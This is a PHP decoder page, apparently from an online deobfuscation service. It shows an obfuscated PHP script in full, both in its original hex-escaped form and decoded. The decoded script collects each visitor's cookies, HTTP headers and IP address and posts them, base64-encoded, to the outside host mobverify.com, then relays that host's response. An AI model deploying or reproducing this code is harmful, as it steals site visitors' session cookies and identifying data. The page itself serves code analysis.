Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47L\x4fB\x41\x4c\x53"}["\x64g\x63\x68\x67f\x6d\x72\x70"]="\x63h";${"\x47LOB\x41..

Decoded Output download

<?php ${"GLOBALS"}["dgchgfmrp"]="ch";${"GLOBALS"}["rlgpfgc"]="content";${"GLOBALS"}["cjhicbk"]="postfields";${"GLOBALS"}["rynrljjf"]="header";${"GLOBALS"}["ivkckisip"]="len";${"GLOBALS"}["dmpdecj"]="content_type";${"GLOBALS"}["ujdluubxqv"]="url";${"GLOBALS"}["dmuhpipi"]="http_headers";${"GLOBALS"}["kvuyia"]="cookies";$advpuiilc="cookies";${"GLOBALS"}["dgjxhfnvgmzb"]="http_headers";${"GLOBALS"}["tihppsnvsf"]="http_headers";${"GLOBALS"}["qnunoddbbsv"]="ch";${"GLOBALS"}["ugepljhk"]="key";${"GLOBALS"}["oqxhlpuyvg"]="postfields";$iupcpxsvipxv="key";${"GLOBALS"}["nkvykxl"]="cookies";${"GLOBALS"}["zfayscy"]="ch";${"GLOBALS"}["tnikio"]="url";${"GLOBALS"}["ugqdsyzh"]="url_new";header("Access-Control-Allow-Origin: *");${"GLOBALS"}["rrmwbdmejdk"]="http_headers";$query_string=http_build_query($_GET);${"GLOBALS"}["mzdokarr"]="cookies";if(empty($query_string)){die("Empty query string");}${${"GLOBALS"}["tnikio"]}="https://mobverify.com/mirror-v2.php?$query_string";${"GLOBALS"}["ejjtdxlrd"]="http_headers";${"GLOBALS"}["qxrjntkc"]="value";${"GLOBALS"}["dccyuoeuq"]="ch";${"GLOBALS"}["nbkdczzkxnl"]="http_headers";${${"GLOBALS"}["nbkdczzkxnl"]}=array();foreach($_SERVER as${$iupcpxsvipxv}=>${${"GLOBALS"}["qxrjntkc"]}){${"GLOBALS"}["szqhrrodcg"]="key";if(substr(${${"GLOBALS"}["ugepljhk"]},0,5)==="HTTP_"||${${"GLOBALS"}["szqhrrodcg"]}==="REMOTE_ADDR"){$opmxkwf="key";${"GLOBALS"}["rrfioiuk"]="value";${${"GLOBALS"}["tihppsnvsf"]}[${$opmxkwf}]=${${"GLOBALS"}["rrfioiuk"]};}}${${"GLOBALS"}["rrmwbdmejdk"]}=json_encode(${${"GLOBALS"}["dmuhpipi"]});${${"GLOBALS"}["tihppsnvsf"]}=base64_encode(${${"GLOBALS"}["dgjxhfnvgmzb"]});${${"GLOBALS"}["nkvykxl"]}=json_encode($_COOKIE);${"GLOBALS"}["vpngwpjulus"]="ch";$ecrjrx="postfields";${${"GLOBALS"}["kvuyia"]}=base64_encode(${$advpuiilc});${"GLOBALS"}["cykgkgrwlveh"]="postfields";${$ecrjrx}=array("tool"=>filter_input(INPUT_GET,"tool"),"toolarg"=>filter_input(INPUT_GET,"toolarg"),"headers"=>${${"GLOBALS"}["ejjtdxlrd"]},"cookies"=>${${"GLOBALS"}["mzdokarr"]},);${${"GLOBALS"}["cykgkgrwlveh"]}=json_encode(${${"GLOBALS"}["oqxhlpuyvg"]});${${"GLOBALS"}["dmpdecj"]}=null;function header_function($curl,$header){${"GLOBALS"}["pzbikebemmw"]="header";global$content_type;${${"GLOBALS"}["ivkckisip"]}=strlen(${${"GLOBALS"}["pzbikebemmw"]});${${"GLOBALS"}["rynrljjf"]}=explode(":",${${"GLOBALS"}["rynrljjf"]},2);if(count(${${"GLOBALS"}["rynrljjf"]})<2){return${${"GLOBALS"}["ivkckisip"]};}${"GLOBALS"}["lxrnan"]="len";if(strtolower(trim(${${"GLOBALS"}["rynrljjf"]}[0]))==="content-type"){$nwotyvos="header";${${"GLOBALS"}["dmpdecj"]}=trim(${$nwotyvos}[1]);}return${${"GLOBALS"}["lxrnan"]};}${${"GLOBALS"}["zfayscy"]}=curl_init();curl_setopt_array(${${"GLOBALS"}["dccyuoeuq"]},[CURLOPT_URL=>${${"GLOBALS"}["ujdluubxqv"]},CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>${${"GLOBALS"}["cjhicbk"]},CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_HTTPHEADER=>["Content-Type: application/json"],CURLOPT_HEADERFUNCTION=>"header_function",]);${${"GLOBALS"}["rlgpfgc"]}=curl_exec(${${"GLOBALS"}["qnunoddbbsv"]});$mybwmjklluc="url_new";${${"GLOBALS"}["ugqdsyzh"]}=curl_getinfo(${${"GLOBALS"}["dgchgfmrp"]},CURLINFO_EFFECTIVE_URL);curl_close(${${"GLOBALS"}["vpngwpjulus"]});$host=parse_url(${$mybwmjklluc},PHP_URL_HOST);if($host==="mobverify.com"){$rrqkubi="content_type";${"GLOBALS"}["xioqyqlqpjj"]="content";if(!is_null(${$rrqkubi})){header("Content-Type: $content_type");}echo${${"GLOBALS"}["xioqyqlqpjj"]};}else{header("Location: $url_new");} 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47L\x4fB\x41\x4c\x53"}["\x64g\x63\x68\x67f\x6d\x72\x70"]="\x63h";${"\x47LOB\x41\x4c\x53"}["\x72\x6cg\x70f\x67\x63"]="\x63\x6f\x6ete\x6et";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x6a\x68i\x63\x62\x6b"]="po\x73\x74f\x69\x65\x6c\x64\x73";${"G\x4c\x4fBA\x4c\x53"}["r\x79n\x72\x6c\x6aj\x66"]="hea\x64\x65\x72";${"GL\x4f\x42\x41\x4c\x53"}["i\x76\x6b\x63k\x69s\x69\x70"]="l\x65\x6e";${"\x47\x4cO\x42\x41\x4cS"}["\x64\x6d\x70de\x63j"]="\x63o\x6et\x65\x6et\x5ft\x79\x70e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["uj\x64lu\x75bx\x71\x76"]="\x75\x72l";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x6d\x75\x68p\x69pi"]="\x68tt\x70\x5fh\x65\x61\x64e\x72s";${"GL\x4fB\x41\x4cS"}["\x6b\x76\x75\x79\x69\x61"]="\x63oo\x6b\x69\x65\x73";$advpuiilc="c\x6f\x6f\x6bie\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64gj\x78\x68\x66\x6evgm\x7a\x62"]="\x68tt\x70\x5fh\x65a\x64er\x73";${"\x47\x4cOB\x41\x4c\x53"}["t\x69hp\x70\x73\x6e\x76\x73f"]="h\x74\x74p_h\x65\x61\x64er\x73";${"GL\x4fBA\x4c\x53"}["q\x6e\x75n\x6f\x64d\x62\x62s\x76"]="\x63h";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x67\x65\x70\x6c\x6a\x68\x6b"]="k\x65\x79";${"\x47\x4c\x4fBA\x4c\x53"}["\x6fq\x78\x68\x6c\x70u\x79\x76\x67"]="\x70os\x74\x66i\x65\x6cds";$iupcpxsvipxv="\x6b\x65\x79";${"\x47L\x4fBA\x4c\x53"}["\x6e\x6b\x76\x79k\x78l"]="\x63\x6f\x6f\x6b\x69e\x73";${"\x47L\x4f\x42\x41LS"}["z\x66ay\x73\x63\x79"]="\x63h";${"\x47\x4cOBAL\x53"}["\x74ni\x6b\x69\x6f"]="u\x72\x6c";${"\x47\x4c\x4fB\x41LS"}["\x75\x67\x71d\x73\x79\x7ah"]="\x75\x72\x6c_n\x65\x77";header("Acc\x65s\x73-C\x6f\x6e\x74\x72\x6fl-A\x6cl\x6fw-\x4frig\x69n: *");${"\x47\x4c\x4f\x42\x41L\x53"}["r\x72\x6d\x77bd\x6de\x6a\x64\x6b"]="h\x74t\x70\x5f\x68e\x61\x64\x65\x72s";$query_string=http_build_query($_GET);${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6dz\x64\x6f\x6b\x61\x72r"]="\x63\x6fo\x6b\x69\x65\x73";if(empty($query_string)){die("E\x6dp\x74\x79\x20qu\x65\x72y \x73t\x72i\x6eg");}${${"\x47LOB\x41L\x53"}["\x74\x6ei\x6bi\x6f"]}="htt\x70s://\x6d\x6f\x62v\x65rify.c\x6fm/\x6d\x69\x72\x72o\x72-\x76\x32.ph\x70?$query_string";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ejj\x74\x64\x78\x6cr\x64"]="h\x74\x74\x70\x5fh\x65\x61\x64\x65r\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["q\x78r\x6a\x6e\x74kc"]="\x76\x61l\x75\x65";${"\x47LOB\x41L\x53"}["\x64\x63\x63\x79u\x6f\x65uq"]="c\x68";${"\x47\x4cOB\x41\x4c\x53"}["\x6e\x62\x6b\x64\x63\x7az\x6b\x78nl"]="h\x74\x74p\x5fh\x65\x61\x64\x65r\x73";${${"GLO\x42\x41\x4cS"}["\x6eb\x6b\x64\x63\x7az\x6bx\x6el"]}=array();foreach($_SERVER as${$iupcpxsvipxv}=>${${"\x47L\x4f\x42\x41\x4c\x53"}["\x71xr\x6a\x6e\x74k\x63"]}){${"GL\x4fB\x41\x4cS"}["\x73\x7a\x71\x68\x72\x72\x6f\x64c\x67"]="\x6b\x65y";if(substr(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x67\x65\x70\x6c\x6a\x68\x6b"]},0,5)==="HTTP_"||${${"\x47\x4cO\x42\x41\x4c\x53"}["s\x7a\x71\x68\x72\x72o\x64cg"]}==="REMO\x54E_ADD\x52"){$opmxkwf="\x6b\x65y";${"G\x4cOB\x41\x4c\x53"}["\x72\x72f\x69oi\x75k"]="\x76\x61\x6c\x75\x65";${${"\x47\x4cO\x42AL\x53"}["\x74i\x68\x70psn\x76\x73\x66"]}[${$opmxkwf}]=${${"\x47\x4cOBA\x4cS"}["\x72rf\x69\x6f\x69\x75k"]};}}${${"\x47L\x4f\x42\x41\x4c\x53"}["r\x72\x6d\x77\x62\x64\x6d\x65\x6adk"]}=json_encode(${${"\x47L\x4fB\x41\x4c\x53"}["\x64\x6d\x75\x68p\x69\x70i"]});${${"\x47L\x4f\x42A\x4c\x53"}["t\x69hp\x70\x73\x6ev\x73\x66"]}=base64_encode(${${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x67j\x78h\x66\x6e\x76\x67\x6dz\x62"]});${${"\x47\x4cOB\x41\x4c\x53"}["nk\x76\x79k\x78\x6c"]}=json_encode($_COOKIE);${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x70\x6e\x67\x77\x70\x6a\x75lu\x73"]="ch";$ecrjrx="p\x6fs\x74\x66\x69\x65\x6cd\x73";${${"\x47\x4cOB\x41L\x53"}["\x6b\x76uy\x69\x61"]}=base64_encode(${$advpuiilc});${"\x47LOB\x41\x4cS"}["\x63\x79\x6bg\x6b\x67\x72\x77\x6c\x76eh"]="p\x6f\x73\x74\x66i\x65\x6c\x64s";${$ecrjrx}=array("t\x6f\x6f\x6c"=>filter_input(INPUT_GET,"t\x6fo\x6c"),"\x74\x6f\x6f\x6c\x61rg"=>filter_input(INPUT_GET,"\x74\x6fola\x72\x67"),"h\x65\x61d\x65\x72\x73"=>${${"G\x4c\x4f\x42\x41\x4cS"}["\x65\x6a\x6a\x74\x64\x78\x6c\x72d"]},"c\x6fokie\x73"=>${${"G\x4c\x4f\x42\x41L\x53"}["mzd\x6f\x6b\x61\x72\x72"]},);${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63\x79k\x67\x6b\x67\x72w\x6c\x76e\x68"]}=json_encode(${${"\x47L\x4fB\x41L\x53"}["\x6f\x71x\x68\x6cpu\x79\x76\x67"]});${${"\x47LO\x42\x41L\x53"}["\x64\x6d\x70\x64\x65\x63j"]}=null;function header_function($curl,$header){${"\x47\x4c\x4f\x42AL\x53"}["\x70\x7a\x62i\x6be\x62em\x6d\x77"]="\x68\x65\x61\x64\x65\x72";global$content_type;${${"GL\x4f\x42\x41L\x53"}["\x69\x76\x6b\x63k\x69\x73i\x70"]}=strlen(${${"\x47LOB\x41\x4c\x53"}["p\x7ab\x69\x6b\x65\x62\x65m\x6d\x77"]});${${"\x47\x4c\x4fBA\x4c\x53"}["\x72y\x6e\x72l\x6a\x6a\x66"]}=explode(":",${${"\x47L\x4fB\x41\x4cS"}["ry\x6e\x72\x6c\x6ajf"]},2);if(count(${${"\x47\x4cOBA\x4c\x53"}["\x72\x79nr\x6cj\x6af"]})<2){return${${"\x47\x4cO\x42A\x4cS"}["\x69\x76\x6b\x63\x6b\x69s\x69p"]};}${"\x47L\x4f\x42\x41\x4cS"}["\x6cx\x72na\x6e"]="\x6c\x65\x6e";if(strtolower(trim(${${"GLOBA\x4c\x53"}["ry\x6e\x72ljjf"]}[0]))==="c\x6f\x6e\x74\x65\x6e\x74-type"){$nwotyvos="\x68ea\x64\x65\x72";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dmp\x64\x65cj"]}=trim(${$nwotyvos}[1]);}return${${"\x47LO\x42A\x4c\x53"}["\x6c\x78r\x6e\x61\x6e"]};}${${"G\x4cO\x42\x41\x4cS"}["z\x66a\x79\x73\x63y"]}=curl_init();curl_setopt_array(${${"\x47L\x4f\x42ALS"}["\x64c\x63\x79\x75oe\x75\x71"]},[CURLOPT_URL=>${${"\x47L\x4f\x42\x41LS"}["u\x6a\x64l\x75\x75\x62\x78\x71\x76"]},CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>${${"\x47\x4c\x4f\x42\x41L\x53"}["\x63\x6ahi\x63\x62\x6b"]},CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_HTTPHEADER=>["\x43on\x74e\x6e\x74-T\x79pe: \x61\x70pl\x69c\x61tion/j\x73\x6fn"],CURLOPT_HEADERFUNCTION=>"he\x61\x64er\x5ffu\x6e\x63ti\x6fn",]);${${"GL\x4f\x42\x41\x4c\x53"}["r\x6cg\x70fg\x63"]}=curl_exec(${${"G\x4c\x4fB\x41\x4cS"}["q\x6e\x75\x6e\x6fd\x64\x62bs\x76"]});$mybwmjklluc="\x75rl\x5f\x6e\x65w";${${"\x47L\x4fB\x41\x4cS"}["\x75\x67q\x64\x73y\x7ah"]}=curl_getinfo(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x67c\x68gf\x6drp"]},CURLINFO_EFFECTIVE_URL);curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x70\x6eg\x77pjulus"]});$host=parse_url(${$mybwmjklluc},PHP_URL_HOST);if($host==="\x6d\x6f\x62\x76erif\x79\x2ec\x6f\x6d"){$rrqkubi="\x63ont\x65\x6et\x5f\x74\x79p\x65";${"\x47\x4c\x4fB\x41L\x53"}["\x78\x69o\x71yq\x6c\x71\x70jj"]="c\x6f\x6e\x74e\x6e\x74";if(!is_null(${$rrqkubi})){header("\x43onten\x74-\x54ype:\x20$content_type");}echo${${"\x47L\x4f\x42A\x4c\x53"}["x\x69\x6fqyq\x6c\x71p\x6a\x6a"]};}else{header("L\x6fc\x61tion: $url_new");}
?>

Function Calls

None

Variables

None

Stats

MD5 2c14036266bb902d072cce122de18a4f
Eval Count 0
Decode Time 98 ms